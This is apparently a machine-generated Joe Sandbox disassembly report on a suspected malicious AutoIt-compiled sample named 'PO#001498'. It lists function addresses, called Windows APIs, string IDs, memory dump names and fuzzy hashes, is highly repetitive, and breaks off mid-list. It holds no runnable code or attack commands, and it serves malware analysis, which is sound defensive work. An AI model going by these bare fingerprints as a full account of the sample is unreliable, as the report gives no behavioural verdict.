                                                                                                                                                                                                        Function 00436B3A Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 190COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                                                                                                                                                        • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00436B79
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00436B9F
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 00436BC0
                                                                                                                                                                                                        • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 00436C2A
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 00436C31
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00436C4B
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 00436C62
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                                                                                                                                                        • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                                                                        • API String ID: 1503153545-1459072770
                                                                                                                                                                                                        • Opcode ID: 1bca29e3adc21336a21f3c01565ed382529ec8d4b1eae201a388b16e544b708b
                                                                                                                                                                                                        • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1bca29e3adc21336a21f3c01565ed382529ec8d4b1eae201a388b16e544b708b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                                                                                                                                        Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                                                                                                                                        • _fseek.LIBCMT ref: 004527FC
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 0045285C
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00452871
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 00452886
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 004528B0
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 004528C8
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 004528DD
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452914
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452925
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452944
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452955
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452976
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452987
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452998
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 004529A9
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                                                          • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                                                          • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                                                          • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                                                        • __fread_nolock.LIBCMT ref: 00452A39
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2054058615-0
                                                                                                                                                                                                        • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                                                        • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                                                                                                                                        Function 004559A8 Relevance: 33.7, APIs: 18, Strings: 1, Instructions: 401COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 0-4108050209
                                                                                                                                                                                                        • Opcode ID: b9da739ef4394ef292cf8eb25369925a80ec30f337521dada9f854f90e9bbf21
                                                                                                                                                                                                        • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b9da739ef4394ef292cf8eb25369925a80ec30f337521dada9f854f90e9bbf21
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                                                                                                                                        Function 00448759 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 2353593579-4108050209
                                                                                                                                                                                                        • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                                                        • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                                                                                                                                        Function 0044A0EA Relevance: 31.7, APIs: 21, Instructions: 196windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetSysColor.USER32 ref: 0044A11D
                                                                                                                                                                                                        • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                                                                                                                                                        • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                                                                                                                                                        • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                                                                                                                                                        • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                                                                                                                                                        • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                                                                                                                                                        • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                                                                                                                                                        • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                                                                                                                                                        • GetWindowDC.USER32 ref: 0044A277
                                                                                                                                                                                                        • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                                                                                                                                                        • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                                                                                                                                                        • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                                                                                                                                                        • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                                                                                                                                                        • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                                                                                                                                                        • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                                                                                                                                                        • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                                                                                                                                                        • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                                                                                                                                                        • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1744303182-0
                                                                                                                                                                                                        • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                                                        • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                                                                                                                                                        Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsicoll$__wcsnicmp
                                                                                                                                                                                                        • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                                                                                                                                        • API String ID: 790654849-1810252412
                                                                                                                                                                                                        • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                                                        • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                                                                                                                                                        Function 0046CAAA Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 229COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                                                                                                                                                        • API String ID: 0-1896584978
                                                                                                                                                                                                        • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                                                        • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                                                                                                                                                        Function 00476A8A Relevance: 27.3, APIs: 18, Instructions: 332COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InitVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1927566239-0
                                                                                                                                                                                                        • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                                                        • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                                                                                                                                        Function 0046D6EB Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 474COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                                                                                                                                        • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                                                                                                                                        • IsWindow.USER32(?), ref: 0046DBDE
                                                                                                                                                                                                        • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                                                                                                                                        • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                                                                                                                                                        • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                                                                                                                                          • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                                                                                                                                                        • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                                                                                                                        • API String ID: 1322021666-1919597938
                                                                                                                                                                                                        • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                                                        • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                                                                                                                                                        Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsicoll$IconLoad
                                                                                                                                                                                                        • String ID: blank$info$question$stop$warning
                                                                                                                                                                                                        • API String ID: 2485277191-404129466
                                                                                                                                                                                                        • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                                                        • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                                                                                                                                        Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                                                                                                                                        • strncnt.LIBCMT ref: 00428646
                                                                                                                                                                                                        • strncnt.LIBCMT ref: 0042865A
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: strncnt$CompareErrorLastString
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1776594460-0
                                                                                                                                                                                                        • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                                                                        • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                                                                                                                                        Function 004545C9 Relevance: 25.7, APIs: 17, Instructions: 198windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                                                                                                                                                        • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                                                                                                                                                        • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                                                                                                                                                        • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                                                                                                                                                        • GetDlgItem.USER32(?,000003E9), ref: 00454637
                                                                                                                                                                                                        • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                                                                                                                                                        • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                                                                                                                                                        • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00454688
                                                                                                                                                                                                        • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                                                                                                                                                        • GetDesktopWindow.USER32 ref: 00454708
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                                                                                                                                                        • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                                                                                                                                                        • GetClientRect.USER32(?,?), ref: 0045476F
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                                                                                                                                                        • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
